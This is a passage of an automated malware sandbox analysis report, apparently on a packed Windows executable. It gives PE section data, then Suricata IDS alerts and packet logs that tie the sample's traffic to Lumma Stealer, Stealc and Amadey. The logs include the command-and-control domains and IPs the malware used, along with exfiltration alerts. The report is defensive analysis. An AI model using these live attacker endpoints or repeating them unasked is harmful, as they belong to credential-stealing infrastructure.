IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5d000	0x25e00	d52bf70db808426219a7a714340931df	False	0.9996196885313532	data	7.984667685807601	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5f000	0x1000	0x200	fe72def8b74193a84232a780098a7ce0	False	0.150390625	data	1.04205214219471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wkslfpnx	0x60000	0x2a9000	0x2a8e00	8d21f06c6363e8d0bacec5196d615a42	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dfiorjat	0x309000	0x1000	0x600	cf5f7beaceeaae70238a04dde4e7614e	False	0.5657552083333334	data	4.994297610244647	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30a000	0x3000	0x2200	cad1754fe18c6501140a8400df82c626	False	0.06146599264705882	DOS executable (COM)	0.7112770247135969	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T09:07:09.965749+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	63537	1.1.1.1	53	UDP
2024-10-24T09:07:09.986831+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	63776	1.1.1.1	53	UDP
2024-10-24T09:07:10.067142+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	55770	1.1.1.1	53	UDP
2024-10-24T09:07:10.078689+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	64351	1.1.1.1	53	UDP
2024-10-24T09:07:10.096927+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	49585	1.1.1.1	53	UDP
2024-10-24T09:07:10.108240+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	57999	1.1.1.1	53	UDP
2024-10-24T09:07:10.119902+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	50604	1.1.1.1	53	UDP
2024-10-24T09:07:10.131288+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	54249	1.1.1.1	53	UDP
2024-10-24T09:07:11.701807+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49712	104.102.49.254	443	TCP
2024-10-24T09:07:12.612579+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49713	104.21.53.8	443	TCP
2024-10-24T09:07:12.612579+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49713	104.21.53.8	443	TCP
2024-10-24T09:07:13.865068+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49714	104.21.53.8	443	TCP
2024-10-24T09:07:13.865068+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49714	104.21.53.8	443	TCP
2024-10-24T09:07:19.746315+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49740	104.21.53.8	443	TCP
2024-10-24T09:07:23.987903+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49766	104.21.53.8	443	TCP
2024-10-24T09:07:31.546011+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49772	185.215.113.16	80	TCP
2024-10-24T09:07:40.925045+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49859	185.215.113.37	80	TCP
2024-10-24T09:08:06.928463+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49995	185.215.113.43	80	TCP
2024-10-24T09:08:10.306321+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49997	185.215.113.16	80	TCP
2024-10-24T09:08:17.658280+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	51930	1.1.1.1	53	UDP
2024-10-24T09:08:17.672293+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	55496	1.1.1.1	53	UDP
2024-10-24T09:08:17.684949+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	52761	1.1.1.1	53	UDP
2024-10-24T09:08:17.696417+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	55939	1.1.1.1	53	UDP
2024-10-24T09:08:17.708632+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	52104	1.1.1.1	53	UDP
2024-10-24T09:08:17.720989+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	61422	1.1.1.1	53	UDP
2024-10-24T09:08:17.734251+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	49779	1.1.1.1	53	UDP
2024-10-24T09:08:17.746454+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	51560	1.1.1.1	53	UDP
2024-10-24T09:08:18.604963+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49996	TCP
2024-10-24T09:08:19.252502+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49998	104.102.49.254	443	TCP
2024-10-24T09:08:19.529990+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49999	185.215.113.43	80	TCP
2024-10-24T09:08:20.119029+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50000	104.21.53.8	443	TCP
2024-10-24T09:08:20.119029+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50000	104.21.53.8	443	TCP
2024-10-24T09:08:20.436837+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50001	185.215.113.16	80	TCP
2024-10-24T09:08:21.442545+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50002	104.21.53.8	443	TCP
2024-10-24T09:08:21.442545+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50002	104.21.53.8	443	TCP
2024-10-24T09:08:27.595963+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50007	104.21.53.8	443	TCP
2024-10-24T09:08:29.230870+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50008	185.215.113.43	80	TCP
2024-10-24T09:08:29.659890+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50009	185.215.113.37	80	TCP
2024-10-24T09:08:30.150223+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50011	185.215.113.16	80	TCP
2024-10-24T09:08:32.269395+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50012	104.21.53.8	443	TCP
2024-10-24T09:08:33.444188+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	59233	1.1.1.1	53	UDP
2024-10-24T09:08:33.456220+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	60512	1.1.1.1	53	UDP
2024-10-24T09:08:33.499382+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	63161	1.1.1.1	53	UDP
2024-10-24T09:08:33.561899+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	62865	1.1.1.1	53	UDP
2024-10-24T09:08:33.603873+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	56842	1.1.1.1	53	UDP
2024-10-24T09:08:33.615892+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	52875	1.1.1.1	53	UDP
2024-10-24T09:08:33.681340+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	56865	1.1.1.1	53	UDP
2024-10-24T09:08:33.692255+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	54710	1.1.1.1	53	UDP
2024-10-24T09:08:35.235862+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	50014	104.102.49.254	443	TCP
2024-10-24T09:08:36.905833+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50015	185.215.113.43	80	TCP
2024-10-24T09:08:37.832834+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50016	185.215.113.16	80	TCP
2024-10-24T09:08:37.832834+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50016	185.215.113.16	80	TCP
2024-10-24T09:08:41.123191+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50021	185.215.113.37	80	TCP
2024-10-24T09:08:42.328377+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50024	185.215.113.43	80	TCP
2024-10-24T09:08:43.800972+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50013	185.215.113.16	80	TCP
2024-10-24T09:08:52.666096+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50037	185.215.113.37	80	TCP
2024-10-24T09:08:59.798044+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50041	185.215.113.37	80	TCP
2024-10-24T09:09:00.731564+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50042	185.215.113.37	80	TCP
2024-10-24T09:09:05.854734+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	61711	1.1.1.1	53	UDP
2024-10-24T09:09:05.880783+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	49222	1.1.1.1	53	UDP
2024-10-24T09:09:05.895810+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	65334	1.1.1.1	53	UDP
2024-10-24T09:09:05.907108+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	59275	1.1.1.1	53	UDP
2024-10-24T09:09:05.924026+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	61676	1.1.1.1	53	UDP
2024-10-24T09:09:05.944428+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	53241	1.1.1.1	53	UDP
2024-10-24T09:09:05.963460+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	57453	1.1.1.1	53	UDP
2024-10-24T09:09:06.039370+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	49726	1.1.1.1	53	UDP
2024-10-24T09:09:07.533760+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	50078	104.102.49.254	443	TCP
2024-10-24T09:09:08.316621+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50080	104.21.53.8	443	TCP
2024-10-24T09:09:08.316621+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50080	104.21.53.8	443	TCP
2024-10-24T09:09:09.364270+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50081	104.21.53.8	443	TCP
2024-10-24T09:09:09.364270+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50081	104.21.53.8	443	TCP
2024-10-24T09:09:10.691225+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50082	104.21.53.8	443	TCP
2024-10-24T09:09:16.112329+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50091	104.21.53.8	443	TCP
2024-10-24T09:09:16.426678+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50090	185.215.113.37	80	TCP
2024-10-24T09:09:17.828113+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50092	104.21.53.8	443	TCP
2024-10-24T09:09:21.683520+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50093	185.215.113.16	80	TCP
2024-10-24T09:09:22.988877+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50097	185.215.113.37	80	TCP
2024-10-24T09:09:33.609801+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50126	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 09:07:10.159769058 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:10.159830093 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:10.159893990 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:10.163557053 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:10.163578987 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.033823967 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.033900976 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:11.037493944 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:11.037509918 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.037904024 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.082027912 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:11.111706018 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:11.155373096 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.701894999 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.701968908 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.702023983 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:11.702042103 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.702060938 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:11.702064991 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.702073097 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.702086926 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:11.702117920 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:11.716393948 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.716443062 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.716475964 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:11.716485023 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.716506958 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:11.716530085 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:11.730179071 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.730257034 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:11.730277061 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.730329990 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:11.730338097 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.730416059 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.730475903 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:11.732578993 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:11.732593060 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.732603073 CEST	49712	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:07:11.732608080 CEST	443	49712	104.102.49.254	192.168.2.6
Oct 24, 2024 09:07:11.769256115 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:11.769313097 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:11.769399881 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:11.769988060 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:11.770004988 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:12.477370024 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:12.477468967 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:12.479685068 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:12.479715109 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:12.480124950 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:12.481873035 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:12.481911898 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:12.481981039 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:12.612540007 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:12.612660885 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:12.612747908 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:12.612770081 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:12.612818003 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:12.612898111 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:12.612915039 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:12.613054991 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:12.613137007 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:12.613445997 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:12.613485098 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:12.613579988 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:12.613596916 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:12.684150934 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:12.684241056 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:12.684319973 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:12.684568882 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:12.684591055 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.304770947 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.304871082 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:13.347743988 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:13.347804070 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.348134041 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.349416018 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:13.349462032 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:13.349559069 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.865089893 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.865153074 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.865205050 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.865247011 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.865247011 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:13.865320921 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.865366936 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:13.865722895 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.865766048 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.865770102 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:13.865787029 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.865828991 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:13.865844965 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.910082102 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:13.910115957 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.956909895 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:13.983382940 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.983469009 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.983534098 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:13.983566046 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.983721018 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.983767033 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:13.983782053 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.983863115 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.983913898 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:13.983967066 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:13.983967066 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:13.984004021 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:13.984034061 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:14.118755102 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:14.118801117 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:14.118863106 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:14.119162083 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:14.119179964 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:14.729505062 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:14.729646921 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:14.730909109 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:14.730921984 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:14.731251955 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:14.732556105 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:14.732714891 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:14.732750893 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:15.288574934 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:15.288857937 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:15.288882971 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:15.288935900 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:15.390657902 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:15.390674114 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:15.390732050 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:15.391022921 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:15.391031027 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:16.018277884 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:16.018392086 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:16.042330980 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:16.042362928 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:16.042697906 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:16.043813944 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:16.043946028 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:16.043979883 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:16.044034004 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:16.044039965 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:16.608067989 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:16.608341932 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:16.608342886 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:16.608400106 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:16.786252022 CEST	49729	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:16.786336899 CEST	443	49729	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:16.786437035 CEST	49729	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:16.786734104 CEST	49729	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:16.786767960 CEST	443	49729	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:17.413227081 CEST	443	49729	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:17.413355112 CEST	49729	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:17.414506912 CEST	49729	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:17.414535046 CEST	443	49729	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:17.415601015 CEST	443	49729	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:17.416822910 CEST	49729	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:17.416951895 CEST	49729	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:17.417006969 CEST	443	49729	104.21.53.8	192.168.2.6
